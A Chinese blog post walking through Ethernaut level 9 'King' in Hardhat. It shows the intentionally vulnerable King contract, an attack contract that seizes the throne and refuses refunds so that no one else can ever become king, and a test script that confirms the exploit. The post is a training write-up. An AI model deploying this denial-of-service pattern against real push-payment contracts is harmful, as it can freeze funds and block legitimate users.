{"content":{"title":"用Hardhat闯关Ethernaut题9 -king","body":"## King合约\r\n### 任务：自己变成king，并且阻止别人变成king了。\r\n\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\nimport \"hardhat/console.sol\";\r\n\r\ncontract King {\r\n    address payable king;\r\n    uint256 public prize;\r\n    address payable public owner;\r\n\r\n    constructor() public payable {\r\n        owner = msg.sender;\r\n        king = msg.sender;\r\n        prize = msg.value;\r\n    }\r\n\r\n    receive() external payable {\r\n        require(msg.value >= prize || msg.sender == owner);\r\n        king.transfer(msg.value);\r\n        king = msg.sender;\r\n        prize = msg.value;\r\n    }\r\n\r\n    function _king() public view returns (address payable) {\r\n        return king;\r\n    }\r\n}\r\n```\r\n此合约的运行逻辑是发送`>=prize`数量的`ETH`，就将发送数量`msg.value`转给上一个`king`，然后自己变成新的`king`。\r\n解题思路就是满足 `require(msg.value >= prize || msg.sender == owner)`，然后使` king.transfer(msg.value)`失败（创建一个攻击合约，没有接收`ETH`的条件）。\r\n\r\n### 攻击合约：\r\n\r\n```\r\n// SPDX-License-Identifier: MIT\r\n\r\npragma solidity ^0.8.0;\r\n\r\ncontract AttackKing {\r\n    constructor(address payable _king) payable {\r\n        (bool success, ) = _king.call{value: msg.value}(\"\");\r\n        require(success, \"fail\");\r\n    }\r\n}\r\n```\r\n\r\n### 测试脚本：\r\n\r\n```\r\nconst { expect } = require(\"chai\");\r\nconst { ethers } = require(\"hardhat\");\r\nconst { MaxUint256 } = require(\"@ethersproject/constants\");\r\nconst { BigNumber } = require(\"ethers\");\r\nconst { parseEther } = require(\"ethers/lib/utils\");\r\n\r\ndescribe(\"test\", function () {\r\n    var King;\r\n    var AttackKing;\r\n    it(\"init params\", async function () {\r\n        [deployer, ...users] = await ethers.getSigners();\r\n    });\r\n    it(\"deploy\", async function () {\r\n        const KingInstance = await ethers.getContractFactory(\"King\");\r\n        King = await KingInstance.deploy({\r\n            value: parseEther(\"1\"),\r\n        });\r\n        expect(await King._king()).to.equal(deployer.address);\r\n\r\n        const AttackKingInstance = await ethers.getContractFactory(\"AttackKing\");\r\n        AttackKing = await AttackKingInstance.connect(users[0]).deploy(King.address, {\r\n            value: parseEther(\"2\"),\r\n        });\r\n    });\r\n    it(\"hack test\", async function () {\r\n        expect(await King._king()).to.equal(AttackKing.address);\r\n        try {\r\n            const res = await deployer.sendTransaction({\r\n                value: parseEther(\"2\"),\r\n                to: King.address,\r\n            });\r\n        } catch (error) {\r\n            console.log(error);\r\n        }\r\n    });\r\n});\r\n```\r\n\r\n### 测试结果：\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2022/09/dcqE4DRy63241a4e28430.png)\r\n\r\nGithub：[hardhat测试仓库](https://github.com/Verin1005/Hardhat-Ethernaut)"},"author":{"user":"https://learnblockchain.cn/people/4922","address":null},"history":"QmbCVtGwoc7EmrbCn5zZmPHVY5bRHagtSvhrMaKgfubNMv","timestamp":1668564078,"version":1}